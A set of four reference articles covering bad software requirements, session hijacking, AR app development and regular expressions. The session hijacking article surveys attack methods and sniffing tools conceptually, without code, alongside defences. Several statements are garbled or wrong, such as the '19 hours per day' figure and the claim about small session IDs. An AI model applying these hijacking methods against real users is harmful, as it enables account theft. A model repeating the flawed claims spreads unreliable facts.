{"text":"# Bad Requirements\n\n## Summary\n\n\nIt's customary to develop product requirements before they're designed and implemented. A good requirement is clear, correct, complete, concise, well-structured, feasible, traceable, and verifiable. A bad requirement is just the opposite.  Bad requirements (aka poor requirements) can arise when requirements development is not done properly. \n\nBad requirements are costly, particularly when they're discovered late in the development lifecycle. Many software defects can be attributed to bad requirements rather than implementation bugs.  \n\nThis article shows examples of bad requirements and how they can be improved. It shares some words and phrases to avoid when describing requirements. By following some best practices when developing and writing requirements, bad requirements can be avoided.\n\n## Discussion\n\n### What's a bad requirement?\n\nRequirements are bad if they're ambiguous, incomplete, inconsistent, incorrect, outdated or technically infeasible. Sometimes they're written in highly technical jargon that only a few understand. Some bad requirements describe system internals without relating them to visible interfaces or scenarios. \n\nBadly structured requirements are hard to trace. Multiple requirements written as a single descriptive sentence is also problematic. Unstructured requirements are hard to verify or validate. Requirements not essential or relevant to the system are equally bad. This practice is sometimes called \"gold plating\". \n\nSome bad requirements describe how to build the system, thus imposing inappropriate constraints. Others describe system operations. Instead, they should set the expectation from subsequent phases (design, coding, integration, testing). \n\nRequirements without suitable metadata is also a problem. Priority, status, estimated cost/schedule, and unique identification number are examples of metadata. \n\n\n### What's the cost of bad requirements?\n\nBad requirements lead to more work, rework, and lower morale. This in turn causes cost overruns, delayed deliveries, missing features, and poor quality products. Requirements that impose constraints or describe a solution prevent innovative thinking. When requirements are not traced, impact analysis becomes difficult. Lack of requirements tracing is a technical debt. It becomes difficult to evolve the system. Highly volatile requirements incur expensive rework. \n\nOne study found that requirements and design phases contributed 64% of defect costs. Engineers spent 19 hours per day addressing requirements-related defects. Test engineers spent a lot of time clarifying requirements. As much of 10% of testing budget could have been saved with proper requirements engineering. \n\nIt's been found that fixing a requirements defect during integration and testing is as high as 78 times more expensive. Other studies showed that defects discovered in the field cost 50-200 times more. Rework is 50% of total development cost. 50% of defects and 80% of rework effort are due to poor requirements. Poor requirements have caused 40% of accidents in safety-critical systems. \n\n\n### Could you share examples of bad requirements?\n\nHere are some illustrative examples: \n\n    + *The system must have good usability*: It's vague. It's unclear how to measure usability. Each user group or role interacts with the product differently.\n    + *Response time should be less than 5 seconds*: Five seconds is an objective measure but there's no context. Product feature, scenario, system state or configuration are examples of context.\n    + *The system has to be bug-free*: No system can guarantee this. Instead there should be well-defined processes for testing and change management.\n    + *Round-the-clock availability*: Unrealistic and could be too costly in practice. Requirements should balance business, user, technical, and economic perspectives.\n    + *The system shall work just like the previous one, but on a new platform*: Requirements can't easily be transferred across platforms or technologies. Newer technologies often offer better ways to implement features.\n    + *Reporting*: Too brief. It's unknown what reports should include, the level of detail, who'll read them and towards what objectives.\n    + *Authenticate with user IDs and passwords*: Imposes a particular solution rather than specifying a requirement.\n\n### What words characterize bad requirements?\n\nEven when requirements are correctly identified, they may not be written down correctly. Engineers are not necessarily good at writing. The choice of words matters. Words that're not precise enough should be avoided. One study grouped these and called them **requirements smells**. Here are some examples:   \n\n    + **Unquantified**: all, always, every, never.\n    + **Ambiguous**: most, many, several, some, sometimes, usually, normally, ideally, optionally.\n    + **Vague Adjectives**: easy, appropriate, user-friendly, fast, graceful, flexible, versatile, efficient, robust, adequate.\n    + **Vague Verbs**: handle, improve, provide, reject, support, maximize, optimize.\n    + **Implied Multiple/Missing Requirements**: and, another, etc., other, including, not limited to, such as, including, for example.\n    + **Pronouns**: it, this.\n    + **Implied Uncertainty**: should, can, could, if possible, may.Context is important. Consider the use of \"and\" in \"DADS shall display the number of requests pending and requests processed.\" There are two requirements here. They must be separated. However, the following is a single requirement even when \"and\" is used: \"DADS shall display the combined number of requests pending and requests processed.\" \n\n\n### How can I avoid bad requirements?\n\nRequirements development should involve all stakeholders, including testers and operational experts. Discussions should promote diverse perspectives. Involve all user groups. The idea is to fix problems early on. Formal inspections and informal reviews should complement each other. \n\nTechniques for functional requirements may not suit non-functional requirements. Use different techniques to elicit and develop requirements: storyboards, interviews, prototypes, use case diagrams, class diagrams, data flow diagrams, state transition diagrams, etc. Consider both normal and abnormal scenarios. Use these techniques to identify and analyze requirements. \n\nUse checklists and templates. Use tools to identify ambiguous words and phrases. Use tools to structure, track and trace requirements. Store requirements in a single repository. Link models and diagrams to requirements. Store metadata. Tools with these capabilities include Borland CaliberRM, IBM/Rational's RequisitePro, and Telelogic's DOORS. \n\nRequirements and even project scope can change, particularly with long-running projects. Requirements engineering and project schedules must embrace and manage this change. Adopt iterative and incremental development methodologies.  \n\n## Milestones\n\n1990\n\nThe U.S. Government Accountability Office recognizes that poor requirements are causing projects to fail. Through the 1990s, studies identify poor requirements as the main cause of missed deadlines and cost overruns.  \n\n1993\n\nHooks proposes the following uses for words: \"shall\" for requirements; \"will\" for statements of fact; \"should\" for goals. In 1995, the MIL-STD 961D standard reserves the word \"shall\" to identify requirements. Words \"will\", \"should\" and \"must\" can be used in descriptions but not in requirements. \n\n1996\n\nAlvarez et al. apply syntactic, semantic and domain analysis to specifications. While they develop some tools to do this, the focus of their research is to develop **metrics** to identify poor requirements. In the late 1990s, a similar research at NASA results in the development of the *Automated Requirements Measurement (ARM)* tool. This tool analyses text structure, specification depth and readability. \n\n2005\n\nArnold and Martin give the example \"The system shall transmit data at least 100 kilobits per second.\" If the system delivers 99.8 kbps, it clearly fails the requirement. This binary approach to defining requirements unnecessarily constraints the solution space and forces designers to make the wrong trade-offs. Hooks observed this in 1993 and recommended the use of allowable tolerances. \n\n2006\n\nKasser et al. propose a way to define **metrics** for requirements. They adapt metrics used to assess code quality and apply them to requirements. They also consider metrics or indices commonly used to assess readability of English text. They use the presence of poor words to compute what they call the *Figure of Merit (FOM)*. These ideas are incorporated into tools named FRED, TIGER and TIGER Pro. \n\nSep  \n2009\n\nThe Requirement Analysis and Modeling Process (RAMP) project is started as a collaboration between academia and industry. It's objectives are to improve the writing of requirements in natural language, requirements analysis and context analysis. This research finds a gap between theory and practice. There are problems in formalization and consistency. Many requirements actually describe solutions. \n\n2010\n\nHooks observes that people are still writing bad requirements despite the availability of many tools and techniques. Twenty years earlier he wrote an article titled *Why Johnny Can't Write Requirements*. Over these years he has learned that many things have to come together to produce good requirements: tools, techniques, training, good metrics, continuous validation, inspections, ask-not-assume approach. \n\n2017\n\nFemmer et al. coin the **Requirements Smell**. They identify nine smells and relate them to ISO 29148. They note that many automated tools currently available are inadequate in catching these smells. They develop a tool called *Smella*. Among it's techniques are POS tagging, morphological analysis, lemmatization, and dictionary search. \n\n2022\n\nA Deloitte white paper talks about the role of a **Requirements Engineer**. This role overlaps partially with the role of a software architect. The requirements engineer must be from a testing background. He/she must look at user scenarios and testability. He/she must address any gaps between developers and testers. In one project, Deloitte reduces requirements-related defects from 23% to 4%. This includes improvements to requirements, design, test data and test scripts.","meta":{"title":"Bad Requirements","href":"bad-requirements"}}
{"text":"# Session Hijacking\n\n## Summary\n\n\nA **session** is an interactive information exchange between two or more communicating devices, or between a computer and a user, in computer science and networking in particular.\n\nA session is started at one point in time and eventually 'torn down' - that is, brought to an end - at a later moment. In a well-established communication session, more than one message may be sent in either direction. \n\nA connection-oriented communication requires the establishment of a session. In connectionless communication modes, a session is also the first stage in transmitting data.  \n\n**Session hijacking**, often called **cookie hijacking**, is the act of taking control of an already established trustworthy session in order to steal or compromise the data of the user. In a session hijacking attack, the attacker takes control of the user's valid session, and sends packets to the server while impersonating the real user.\n\n## Discussion\n\n### What's the role of cookies in session hijacking?\n\n**Cookie hijacking**, is the exploitation of a valid computer session in computer science. It is specifically applied to the theft of a magic cookie that is used to authenticate a user to a distant service. It's crucial for web developers because the HTTP cookies used to keep a session on many websites can be stolen by an attacker utilising an intermediary computer or accessing the victim's saved cookies. \n\nFor example: Justin receives an email advertising a sale at his favourite online retailer, which he clicks on and logs in to begin shopping. After which, a session is created on the server. This maintains the state and is referenced during his any future requests. The session ID generated is stored in cookies, URLs, and hidden fields of websites, based on predictable parameters like the current time or the user's IP address, making them easy to determine for an attacker. The attacker sends an email with his own session ID in the link to Justin. As Justin has saved credit card details for easy use in the future, the attacker after stealing the session uses the card details to go on a shopping spree. \n\n\n### What are the different types of session hijacking?\n\nAn **active session hijacking** occurs when an attacker takes control of the victim's active session and begins to communicate with the server as a legitimate user. A common way to break a user's connection to the server is to flood the target system with a large amount of traffic. The attacker gets complete control over the session after putting the victim into offline mode. Using packet sniffing tools the attacker remains in stealth mode during this process, listening and monitoring the packets transiting the network.  \n\nIn a **passive session hijacking attack**, the attacker listens to all of the data and records it for future attacks. In most circumstances, the attacker must start with passive mode to launch any type of hijacking attack. The attacker may not succeed in impersonating a user to the server unless the user session is still active. This is a typical man-in-the-middle attack because the attacker is in-fact between the user and the server modifying and sending the packet.  \n\nIn **hybrid session hijacking**, the attacker uses both passive and active attack techniques to successfully execute the attacks.  \n\n\n### What are the levels of session hijacking?\n\nHackers use **Network level** session hijacking to personalise their assault and breach the protocol's data flow shared by all online applications. **TCP (Transmission Control Protocol)** allows dependable end-to-end communication over an unreliable network. The attacker prevents the client and the server from exchanging data by forging acceptable packets for both ends that appear like actual packets, taking command of the session. **UDP (User Datagram Protocol)** is weaker than TCP as it does not employ sequence/numbers. The hijacker fakes a server reply to a client UDP request before the server can react. \n\nThe attacker aims to hijack current sessions and establish new sessions with stolen data at the **Application level**. **HTTP (Hyper Text Transfer Protocol)** used by the World Wide Web specifies how messages are formatted and delivered between clients and servers, and what actions Web servers and browsers should take response to various instructions. The first step in hijacking HTTP sessions is obtaining Session IDs. The areas to get a session ID are: in the HTTP GET request URL obtained by the browser, by using cookies saved on the client's computer and within the form fields. \n\n\n### What are the methods of session hijacking?\n\n**Brute force** – The attacker guesses the session ID and uses it to hijack the session, usually when a website's security is low and the session IDs are short and easy to guess. \n\n**Cross-site scripting** – An attacker finds security flaws in a web server and injects scripts into it, which gives the session ID to the attacker.  \n\n**Malware** – To hijack a session, cybercriminals can deceive one into opening a link that installs malware (malicious software) on the device. It finds a session, steals the session cookie, and delivers it to the attacker.  \n\n**Session Sidejacking** – An attacker obtains access to a user's network traffic, usually when the user connects to an insecure Wi-Fi network, and further monitors the internet user's network traffic using \"packet sniffing\".  \n\n**Session fixation** - An attacker creates a session ID and deceives the user into using it to establish a session, by sending an email to the user with a link to a login form for a website.  \n\nIn the **man-in-the-middle (MITM) attack**, the attacker is placed between the victim and another system and acts as an unknown proxy for one/both of the two communicating destinations.\n\n\n### Which are some session hijacking tools and approaches used by attackers?\n\n**CookieCadger** is a free open-source tool for detecting \"information leakage\" in online applications. It can look for unencrypted data, including session cookies, on both wired and insecure Wi-Fi networks. CookieCadger is a graphical Java software that automates sidejacking and replay of HTTP requests in order to detect data leakage from applications that use unencrypted GET requests. \n\n**DroidSheep** is an open-source Android app that uses \"packet sniffing\" to extract session cookies and other exposed data from unsecured Wi-Fi web browsing sessions. DroidSheep is a basic Android tool for stealing web sessions (sidejacking). \n\nIn May 2012, Google Play released an app called **WhatsApp Sniffer**. It may show messages from other WhatsApp users who were on the same network as the app user. WhatsApp used an XMPP(Extensible Messaging and Presence Protocol) infrastructure with encryption at the time, rather than plain-text communication. \n\n**FireSheep** is a Firefox browser add-on. The FireSheep addon allowed attackers to identify and copy unencrypted session cookies that might be exploited in session hijacking attacks via \"packet sniffing.\" FireSheep took advantage of security flaws and is no longer compatible with the FireFox browser. \n\n\n### How can session hijacking attacks be prevented?\n\nThe session ID, a piece of data used in network communications to identify a session, is recommended. This lowers the chances of an attacker guessing a valid session ID via trial and error or brute force attacks. \n\nWhen you use public Wi-Fi, also use a **VPN (virtual private network)** to assist stay safe and prevent session hijackers out of your sessions is one of the best practices on the client-side. The data sent and received using a VPN is encrypted. \n\nPrevent clicking on any unconfirmed link in an email unless it comes from a legitimate sender to avoid falling victim to a scam, on the client-side. \n\nInstall reliable **security software** on devices to identify viruses and guard against malware, on the client-side including the malware used by attackers to hijack sessions. \n\nKeep an eye on the site's security. Session hijacking is prevented by measures in place at reputable banks, email providers, online retailers, and social media sites. Smart website owners will enable HTTPS (Hypertext Transfer Protocol Secure) across the board, not only on the homepage. They'll also quickly identify and close security flaws. This a server-side prevention technique. \n\n\n### How does an attacker identify vulnerabilities?\n\nThese vulnerabilities (weaknesses/defects that can be exploited by an attacker) make session hijacking possible:\n\n**Session IDs created using Fragile Algorithm:** \n\nA session ID is a data piece used in network communications to identify a session. Websites generally create them using linear algorithms with easily calculable variables like time or IP address. By submitting a large number of requests, an attacker can observe a chronological pattern and generate a legitimate session ID. \n\n**Undefined Session-Termination Time:** \n\nAn attacker has plenty of time to guess a legitimate session ID if the session expiration time is unknown. On obtaining a user's cookie file, the attacker can exploit passive session IDs to get access to the user's web account. \n\n**Plain-Text Transmission:** \n\nThe unencrypted data delivered over the network can readily be sniffed for Session ID. SSL is used to encrypt data during transmission and prevent it from being sniffed. \n\n**Small Session IDs:** \n\nThey can be easily determined by using a strong cryptographic technique. The attacker can even figure out the session ID pattern. \n\n**Indefinite attempts:** \n\nFor websites without an account lockout, the attacker can make multiple attempts with different session IDs until the original session ID is discovered. \n\n## Milestones\n\n2007\n\nWarning of webmail wi-fi hijack. Using public Wi-Fi hotspots has become a lot riskier, as security experts have revealed techniques that may capture login data over the air. \n\n2010\n\nFiresheep, a Mozilla Firefox extension, is launched, providing a simple way for session hijackers to attack users of unencrypted public Wi-Fi. Websites such as Facebook, Twitter, and any others that the user adds to their preferences allow the Firesheep user to quickly access private information via cookies, endangering the personal property of public Wi-Fi users. \n\n2011\n\nFacebook is now SSL-encrypted throughout. Not only during log-in, but also on all other pages of the Facebook social networking site, secure data transmissions via SSL are now available. As a result, even cookies are now transferred in encrypted form, and attackers employing tools like Firesheep can no longer read and exploit them for fraudulent purposes. \n\n2011\n\nTwitter adds \"Always use HTTPS\" option.Twitter implements a new feature that allows users to always use HTTPS when accessing Twitter.com, delivering secure data transmissions via SSL not only during log-in, but also for other pages. This means that even cookies are now transferred in encrypted form, and attackers employing tools like the Firesheep plugin for Firefox can no longer read and exploit them for fraudulent purposes. \n\n2012\n\nA Google Play app called WhatsApp Sniffer is released. It may show messages from other WhatsApp users who are on the same network as the app user. \r WhatsApp connects using an encrypted XMPP infrastructure rather than plain text.","meta":{"title":"Session Hijacking","href":"session-hijacking"}}
{"text":"# Developing AR Apps\n\n## Summary\n\n\nAugmented Reality (AR) started with simple apps that offered either location-based information or visualization based on the scanning of 2D markers. As AR moves into the domain of sophisticated image processing, 3D rendering and interactions, there's a need for better AR authoring tools. \n\nIn general, 3D tools are complex and difficult to master. Creating high quality 3D models also require particular expertise. If AR has to take off, authoring tools must offer simple and intuitive workflows. This is already happening. The idea is to enable domain experts, even if they lack 3D modelling expertise, to easily create AR experiences. It's expected that the AR ecosystem will eventually offer tools and SDKs for developers at all levels.\n\n## Discussion\n\n### What sort of data can I use for AR content?\n\nAR content can include a variety of data input sources: CAD files and wireframes, 3D video, holographs, 360-degree images, 3D representations of real environments, and 3D sound. Increasingly, authoring tools will provide ways to integrate 3D design with AR. For example, 3D gaming engine Unity can import ARToolkit for tracking purpose. In 2015, CAD vendor PTC acquired AR authoring system Vuforia. \n\nAuthoring systems are also capable of exporting AR content targeting a variety of devices: smartglasses, smartphones, tablets, head-mounted displays, etc. \n\n\n### What's a typical AR app development workflow?\n\nFor any project, it's customary to identify the problem, propose a solution or approach, list the requirements, study technical feasibility, select suitable tools and technologies, etc. Specifically for AR app development, there are some unique things to consider: \n\n    + **Data acquisition**: In medical field, for example, data can come from CT or MRI scans. In retail, data may come from printed catalogues. In engineering, data may come from sensors. To build accurate models, data may need to be cleaned and preprocessed.\n    + **Modelling**: 3D models are generated based on the data. If models are already available, then they may be simply imported into AR authoring environments.\n    + **Interface development**: Developer defines the scenes and their transitions. Models are imported into scenes. Within scenes, user interactions are enabled, such as clicking, zooming or rotating 3D models. The AR experience is then tested within the development environment and later on target devices.\n\n### As an AR app developer, what tools should I adopt?\n\nBecause 3D content is an important aspect of AR, and many game engines already work with 3D content, game engines are commonly adopted by AR developers for authoring AR experiences. Top game engines include Unity and Unreal Engine. The development process can be simplified by using an AR SDK. Popular AR SDKs can be imported into game engines. For example, Vuforia can be used from with Unity. \n\nWhen selecting an SDK look for these capabilities: licensing, supported platforms (iOS, Android, Universal Windows Platform), target devices (phones, tablet, smartglasses, HoloLens, etc.), supported game engines, recognition (cloud or on-device), 3D tracking, geolocation, Simultaneous Localization and Mapping (SLAM)... \n\nAR SDKs are many: PTC Vuforia, Apple ARKit, Google ARCore, Wikitude, Kudan, MaxSt, EasyAR, and more. Some SDKs may be better at marker-based AR while others may be better at SLAM. Some SDKs such as Wikitude and Vuforia allow the use of other SDKs such as ARKit. \n\n\n### Do I need specific math skills to be an AR developer?\n\nWhen creating basic AR experiences, the use of AR authoring tools is more important. Developers can get by with basic math skills. For example, in Unity, you can scale or rotate 3D models by simply changing some settings. With Google's Sceneform SDK and its runtime API, developers can avoid learning the whole 3D development stack. With Blippar SDK, object recognition is made easy by calling computer vision APIs. \n\nFor more complex AR experiences, knowledge of linear algebra, vectors and matrices will help. To build or manipulate 3D models, 3D math, 3D design, rendering and UX design become important. When handling sensor data, you need to know about transforms and filters. These are the same skills that game developers possess. Thus, game developers could move into AR development roles. \n\nIncreasingly, Machine Learning is being used to process sensor data including live video feeds. This would mean that knowledge of statistics and ML models is relevant. \n\n\n### Could you share some tips for creating compelling AR apps?\n\nJohn Fan, CEO and Founder of Kopin, gives us five rules for building great AR: \n\n    + Humans first: User comfort must come before technology. To wear something, users must be convinced of its real value.\n    + Physical world first: Too much virtual content can overwhelm users. Use overlays only to complement real-world experiences.\n    + Maintain situational awareness: All senses must continue to be in touch with the real world. Physical reality cannot be replaced.\n    + Voice is the new touch: Keyboards and touch screens are compromises. Voice should be used effectively for command and control.\n    + Balance design with benefits: Don't overdesign. Remove unnecessary features. Design for specific AR benefits.\n\n\n## Milestones\n\n2014\n\nGoogle announces **Project Tango**. It enables AR by its ability to map its surroundings using sensors, motion tracking camera, 3D depth sensing, depth perception and area learning. It's available in limited devices that meet its hardware requirements. With the coming of ARCore in 2017, it's discontinued in 2018. \n\nJun  \n2017\n\nApple announces its AR platform named **ARKit**. This uses *Visual Inertial Odometry (VIO)*. Using camera and motion sensors, it marks the environment with a bunch of points and tracks them as the user moves around. \n\nAug  \n2017\n\nGoogle releases **ARCore**, an AR SDK for the Android platform. Unlike Google's Tango, ARCore can work on many Android phones without any specialized hardware. ARCore works with Java/OpenGL, Unity and Unreal. It's capable of motion tracking, environmental understanding and light estimation. While not as advanced as Tango, ARCore has potential to reach mass market. \n\nOct  \n2017\n\nUnity 2017.2 is released with support for Vuforia, ARCore, ARKit and Windows Mixed Reality immersive headsets. \n\nMay  \n2018\n\nARCore 1.2 enables multiplayer AR across both Android and iOS. It's capable of wall detection. *Cloud Anchors* allows virtual objects to be placed in 3D space and synchronized to other devices via the cloud. **Sceneform SDK** is also released.","meta":{"title":"Developing AR Apps","href":"developing-ar-apps"}}
{"text":"# Regular Expression\n\n## Summary\n\n\nRegular expressions are essentially search patterns defined by a sequence of characters. Let's say, we wish to search for the substring 'grey' in a text document. This is a simple string search. What if we wish to search for both 'grey' and 'gray'? With simple string searches, we would need to do two separate searches and collate the results. With regular expressions, we can define a single search pattern that will give us matches for either of the two substrings.\n\nIn the above example, any of these patterns will work: `gr[ae]y`, `gr(a|e)y`, `(gray|grey)`, `gray|grey` \n\nRegular expression is commonly known as **regex**. Although regex has a history going back to the 1950s,  it was popularized in computer science in the 1990s by the Perl programming language.  Apart from Perl's regex, many other variants exist.\n\n## Discussion\n\n### Could you give examples where regular expressions are used?\n\nRegex is useful typically when the format or syntax of data is known. It's to this expected syntax that a regex is written. For example, email addresses are of the form `username@domainname.tld`. We can make a regex to extract all emails coming from a specific domain. \n\nA common use of regex is for search-and-replace. For example, developers can use regex to quickly change the order of arguments across hundreds of source code files. \n\nRegex can be used to process log files and filter log messages that match a particular signature. It can be used to filter reports on Google Analytics Dashboard. \n\nRegex can also be used within database commands, say, to obtain usernames that contain non-alphanumeric characters in them. \n\nSuppose we've reorganized the file structure in a web application. In web servers, regex can be used to match requested URL patterns and redirect them to new locations. Regex is also useful in web scraping tasks. \n\n\n### What are the basic building blocks of regular expressions?\n\nA regex has these basic building blocks:\n\n    + **Anchor**: A regex is processed by a regex engine. Anchors make assertions about the current position of the engine. Common anchors are `^` (beginning of line) and `$` (end of line). For a multiline input, we can use `\\A` and `\\z` to match beginning and end of string respectively.\n    + **Character**: `.` matches any character; `\\s` matches any whitespace; `[12a-c]` matches the set of characters '1 2 a b c'; `(a|e)s` matches 'a' or 'e' followed by 's'.\n    + **Group**: A sequence of characters grouped within `()`.\n    + **Quantifier**: Specify how many matches of the character or group are allowed. For zero or more matches, use `*`; `+` for one or more matches; `?` for zero or one match; `{m,n}` for m to n matches.\n    + **Modifier/Flag**: Modify the regex in specific ways. Use `i` for case insensitive match; `m` is for multiline match; `s` for single line match so that `.` matches newlines as well.For example, `/^model{1,2}(ing)? /i` will match any line starting with 'model ', 'modell ', 'modeling ', 'modelling ', and their lowercase versions.\n\n\n### Which are the special characters in regex?\n\nRegex special characters are often called **metacharacters**. The common ones include `\\ ^ $ . * + ? [ { ( ) |` characters. \n\nNote that characters `} ]` have special meaning too when used with their counterparts `{ [`; but on their own, they are treated literally. For example, `a(b{2,})?c` will match 'ac', 'abbc', 'abbbbc' and more; `ab}?c` will match exactly either 'abc' or 'ab}c', and nothing else.\n\nSince metacharacters have special meaning, to use them literally, we would have to escape them with the backslash `\\` character. For example, to match the dollar value in string 'This costs $22.50 after discount', the regex would be `\\$(\\d+(?:\\.\\d+)?)`, where the dollar symbol is escaped. It's treated literally and not as end of the string.\n\nMetacharacter pair `[]` defines a character class. When range is specified, such as `[0-6]`, hyphen character is a special character. However, if hyphen occurs without either start or end, such as `[-6]`, it's interpreted literally. Likewise, other metacharacters are interpreted literally within a character class. This is therefore an alternative to escaping with backslash.\n\n\n### What are regex groups and how are they useful?\n\nParts of a regex can be grouped within parentheses, `()`. A quantifier can be applied to an entire group. Thus, `ab+` will match 'abb' but `(ab)+` will match 'ab' and 'abab' but not 'abb'. Groups are also useful to restrict alternation. Thus, `cat|dogs` will match either 'cat' or 'dogs' but `(cat|dog)s` will match either 'cats' or 'dogs'.\n\nGroups are generally of three types:\n\n    + **Numbered Capturing Group**: Each group within a regex is given a number starting from 1. The number 0 is reserved for the entire regex. This number can later be used within the regex for subsequent matches or in a replacement string. These are called *backreferences*.\n    + **Named Capturing Group**: First introduced in Python, naming the groups make it easier to backreference. For example, we match one or more digits into a named group called 'score' using `(?P<score>\\d+)` and backreference it as `(?P=score)`.\n    + **Non-Capturing Group**: Sometimes we wish to match a group but we're not going to backreference it later. Therefore, there's no need to capture the group. For example, here we match one or more word characters without capture, `(?:\\w+)`.\n\n### Could you explain the concepts of lookahead and lookbehind in regex?\n\nSometimes we wish to match a string but only if it occurs in a certain context. For example, we wish to match all dark versions of colours that start with 'g': darkgreen, darkgrey, darkgray, etc. While `dark(g[a-z]+)` will do the job, an alternative is to match the base colour and look behind to see if it's dark: `(?<=dark)g[a-z+]`. The full match will return only the colour without the 'dark' prefix.\n\nLooking before or after a particular match is called *lookaround assertion*. It's called an assertion because it doesn't consume characters from the input. They only declare if there's a match or not. We illustrate examples of the four lookaround assertions: \n\n    + **Positive lookahead**: Match 'q' that's followed by 'u', `q(?=u)`.\n    + **Negative lookahead**: Match 'q' that's not followed by 'u', `q(?!u)`.\n    + **Positive lookbehind**: Match 'b' that follows 'a', `(?<=a)b`.\n    + **Negative lookbehind**: Match 'b' that doesn't follow 'a', `(?<!a)b`.\n\n### What are some other advanced regex features?\n\nSome advanced regex features include the following: \n\n    + **Laziness**: A regex such as `.*,` is greedy. It will match as many characters as possible preceding a comma. A lazy or non-greedy match is achieved using '?', such as `.*?,`. This will match only till the first comma.\n    + **Possessive Quantifier**: Using '+', such as `.*+`, we can tell the regex engine to avoid unnecessary backtracking. This can be seen as a notational convenience for atomic grouping.\n    + **Atomic Grouping**: These are special non-capturing groups to prevent unnecessary backtracking. Use of atomic grouping improves performance. An example of this is `(?>his|this)`. If 'his' is not present, obviously we don't need to backtrack and look for 'this'.\n    + **Conditionals**: We can use lookaround assertions for specifying conditions. Depending on condition's result (true or false), other parts of the regex can be processed.\n    + **Recursion**: Use `(?R)` to match nested constructs.\n\n### Do regular expressions differ across programming languages?\n\nRegular expressions are processed by regex engines, of which there are many flavours. A programming language typically adopts one of these engines. Differences across these flavours are not easy to remember. Programmers should be aware that migrating regex from one engine to another must be accompanied with proper testing.\n\nSome of these flavours include JGsoft, .NET, Perl, PHP, R, JavaScript, Python, Tcl ARE, POSIX BRE, POSIX ERE, GNU BRE and GNU ERE. The oldest of these is the **Basic Regular Expression (BRE)** that has limited power and expressiveness. BRE was later extended to the **Extended Regular Expression (ERE)**. To study how these various engines differ, take a look at Roger Qiu's comparison chart or Wikipedia's entry.\n\nAs an example, *sed* tool uses BRE by default, where `+` matches literal plus sign. But with option -E it uses ERE, where `\\+` must be used for literal match. \n\nSince Perl popularized regex, one of the popular engines that came about is called **Perl Compatible Regular Expression (PCRE)**. PCRE was later updated to PCRE2. PCRE and its variants have been adopted by many programming languages. \n\n\n### What are some tips or best practices for using regex?\n\nFor readable and maintainable regex, use the flag `x` to ignore whitespace.  Thus, a complex regex can be expanded with useful comments.  \n\nTo find match in the right place, use anchors. The use of `.*` can make the engine backtrack often. Construct a more specific regex. Likewise, the use of lazy quantifier `{.*?}` can be inefficient. Instead, say what you don't want to match, `{[^}]*}`. Also, atomic groups can save on backtracking. However, lazy quantifiers can be better in some simple scenarios: `*?'s` is faster than `*'s`. \n\nRegex must be designed to fail fast. For example, `(?=.*fleas).*` does a lot of backtracking on lines that don't contain 'fleas'. On the other hand, `^(?=.*fleas).*` has a lookahead anchored at the start of the string and will fail faster. \n\nUse contrast, that is, what characters to match and what not to match. For example, to match 'ABC123' the regex `^.+\\d{3}$` won't work since `.` and `\\d` are not mutually exclusive. Instead, use `^\\D+\\d{3}$`. \n\nWhen using alternations (use of `|`), put the more common patterns earlier. \n\n\n### Where should I not use regular expressions?\n\nWhile regex is useful, it can be overused and abused. An extreme example is a 6343-character long regex to match an email address. Here's a quote from 1997, attributed to Jamie Zawinski, \n\n> Some people, when confronted with a problem, think \"I know, I'll use regular expressions.\" Now they have two problems.\n\nWhile URL paths and email addresses can be parsed using regex, there are dedicated and mature libraries to do these. You should prefer to use them instead. Regex is also not the best choice for parsing HTML or code since there are better tools to generate tokenized outputs. \n\nHumans write in a number of different ways. A regex will not adequately capture all the different variations. In general, when code is read and maintained by many developers, complex regex will be problematic. Regex is generally not descriptive enough to match balanced parenthesis, such as, `(aa (bbb) (bbb) aa)`. \n\n\n### Could you point me to useful resources for working with regex?\n\nAmong the places to learn regex are RegexOne, RexEgg, Regex Crossword and Jan Goyvaerts' Regular-Expressions.info. Beginners might like Net Ninja's series of sixteen videos on regex.\n\nFor absolute basics, consider reading Mike Malone's blog post from 2007.\n\nA classic book on regex is *Mastering Regular Expressions* by Jeffrey Friedl. Another good book is *Regular Expressions Cookbook* by Jan Goyvaerts and Steven Levithan. Dave Child has published a handy regex cheatsheet.\n\nThere are many websites that help with debugging and visualizing regex patterns and their matches. A few recommended ones include Regex101, Debuggex and RegExr. These typically support multiple regex flavours. Regex Storm is particular to .NET regex flavour; Rubular is for Ruby regex. You can also read a comparison of some online regex testers.\n\n## Milestones\n\n1956\n\nMathematician Stephen Cole Kleene coins the term **regular expressions** as a notation for expressing the algebra of regular sets. The regex metacharacter `*` is named *Kleene star* in his honour. \n\n1967\n\nKen Thompson at Bell Labs writes a new version of **QED** text editor for the MIT CTSS system. He introduces regular expressions to QED, thus bringing regex from the world of mathematics to computer science for the first time. Regex in QED is also compiled on the fly, for which Thompson receives a US patent.  \n\n1970\n\nIn this decade, regex makes its way into some Unix programs and utilities such as sed, awk and grep. It's been said that awk is the first language to make regex a first class programming construct. In 1975, Al Aho creates egrep command with a much more expressive syntax that the basic one supported by grep. \n\n1986\n\nHenry Spencer expands the regex syntax and provides an engine for the same. His regex library could be freely included in other programs. He later goes on to create an even better regex engine for Tcl. \n\n1992\n\nIEEE defines **POSIX BRE** and **POSIX ERE** as part the standard IEEE Std 1003.1-1992.  \n\n1997\n\nPhilip Hazel releases the **PCRE** regex library. This is later adopted by PHP, Apache and many others. This follows the syntax and semantics of Perl5. In 2015, PCRE2 is released. \n\n1998\n\nIn the 1990s, Larry Wall, the creator of Perl, adopts and expands on Spencer's library. Perl 5.005 is released in 1998 and it includes enhancements to the regex engine. Perl's innovation on regex include lazy quantifiers, non-capturing parentheses, inline mode modifiers, lookahead, and a readability mode. ColdFusion, Java, JavaScript, the .NET Framework, PHP, Python, and Ruby are some of the languages that have since adopted Perl's regex syntax and features.","meta":{"title":"Regular Expression","href":"regular-expression"}}
